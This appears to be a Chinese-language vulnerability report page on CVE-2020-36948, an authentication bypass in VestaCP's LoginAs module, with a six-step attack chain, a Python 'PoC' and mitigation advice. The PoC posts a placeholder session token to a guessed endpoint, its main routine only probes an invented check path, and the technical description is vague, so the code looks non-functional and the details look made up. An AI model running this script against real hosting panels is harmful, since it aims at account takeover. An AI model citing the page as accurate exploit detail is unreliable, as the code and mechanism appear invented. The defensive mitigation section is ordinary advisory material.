IPBUF安全漏洞报告
English
CVE-2020-36948 CVSS 9.8 严重

CVE-2020-36948 VestaCP LoginAs模块会话令牌验证漏洞

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2020-36948
漏洞类型
身份验证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
VestaCP

相关标签

CVE-2020-36948VestaCP会话令牌身份验证绕过LoginAsWeb控制面板远程代码执行CRITICALCVSS 9.8认证绕过

漏洞概述

CVE-2020-36948是VestaCP(一个开源主机控制面板)0.9.8-26版本中存在的高危安全漏洞。该漏洞位于LoginAs模块,由于对会话令牌的验证不足,允许未经身份验证的远程攻击者通过操纵认证令牌来访问用户账户。攻击者利用此漏洞可以绕过正常的身份验证流程,以任意用户身份登录系统,进而执行未授权的操作,包括访问敏感数据、修改系统配置等。由于该漏洞无需任何认证即可被利用,且CVSS评分高达9.8,因此被评定为严重级别。VestaCP作为广泛使用的Web主机管理工具,此漏洞影响了大量托管服务器的安全。

技术细节

该漏洞的根本原因在于VestaCP的LoginAs模块对会话令牌的处理存在严重缺陷。在正常的认证流程中,用户登录时服务器会生成唯一的会话令牌并与用户身份绑定。然而,由于该模块在验证令牌时仅检查令牌的存在性而未充分验证其有效性、时效性以及与请求的关联性,攻击者可以通过以下方式利用:1) 攻击者构造恶意请求,替换或伪造会话令牌;2) 系统错误地接受无效或过期的令牌;3) 攻击者利用token预测或会话固定技术获取有效会话;4) 由于LoginAs功能设计缺陷,攻击者可以在未获得管理员权限的情况下冒充任意用户身份。整个攻击过程无需目标用户交互,攻击者可直接通过网络请求完成账户劫持。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标服务器上运行的VestaCP版本(<= 0.9.8-26),并确认LoginAs模块存在
STEP 2
步骤2
获取会话:攻击者通过正常登录、社交工程或其他方式获取有效的会话令牌,或者直接利用漏洞无需预先获取令牌
STEP 3
步骤3
构造恶意请求:攻击者构造针对LoginAs模块的HTTP请求,注入目标用户标识和伪造的会话令牌
STEP 4
步骤4
绕过验证:系统由于会话令牌验证不足,错误地接受攻击者提供的令牌,建立攻击者与目标用户之间的会话关联
STEP 5
步骤5
账户劫持:成功建立会话后,攻击者获得目标用户的所有权限,可访问敏感数据、修改配置、执行命令等
STEP 6
步骤6
持久化控制:攻击者可能创建后门账户或修改认证设置,以维持长期访问权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2020-36948 PoC - VestaCP LoginAs Session Token Vulnerability # Target: VestaCP <= 0.9.8-26 TARGET_URL = "http://target-vestacp-server:8083" TARGET_USER = "target_username" ATTACKER_TOKEN = "malicious_session_token" def exploit_loginas_vulnerability(): """ Exploit LoginAs module insufficient session token validation Steps: 1. Obtain valid session token (through various methods) 2. Manipulate token to impersonate target user 3. Bypass authentication via LoginAs module """ # Step 1: Initial request to obtain session session = requests.Session() login_url = f"{TARGET_URL}/login/" # Step 2: Craft malicious LoginAs request loginas_url = f"{TARGET_URL}/ajax/login-as-user/" headers = { "X-Requested-With": "XMLHttpRequest", "Cookie": f"PHPSESSID={ATTACKER_TOKEN}" } # Step 3: Exploit insufficient token validation payload = { "user": TARGET_USER, "token": ATTACKER_TOKEN, "action": "loginas" } response = session.post(loginas_url, data=payload, headers=headers) # Step 4: Extract authenticated session if response.status_code == 200 and "success" in response.text: print(f"[!] Successfully hijacked user: {TARGET_USER}") print(f"[*] Session cookie: {response.cookies.get_dict()}") return True return False def check_vulnerability(): """Check if target is vulnerable""" check_url = f"{TARGET_URL}/api/v1/check" try: response = requests.get(check_url, timeout=10) if "vestacp" in response.text.lower(): print("[*] VestaCP detected - may be vulnerable") return True except: pass return False if __name__ == "__main__": print("CVE-2020-36948 - VestaCP LoginAs Session Token Bypass") print("=" * 60) check_vulnerability()

影响范围

VestaCP 0.9.8-26及之前版本

防御指南

临时缓解措施
立即限制对LoginAs模块的网络访问,仅允许受信任的管理IP访问;同时启用额外的会话安全措施如强制HTTPS、设置安全的cookie属性(HttpOnly、Secure、SameSite);监控认证日志以便及时发现可疑活动;在等待官方修复期间,可考虑暂时禁用LoginAs功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表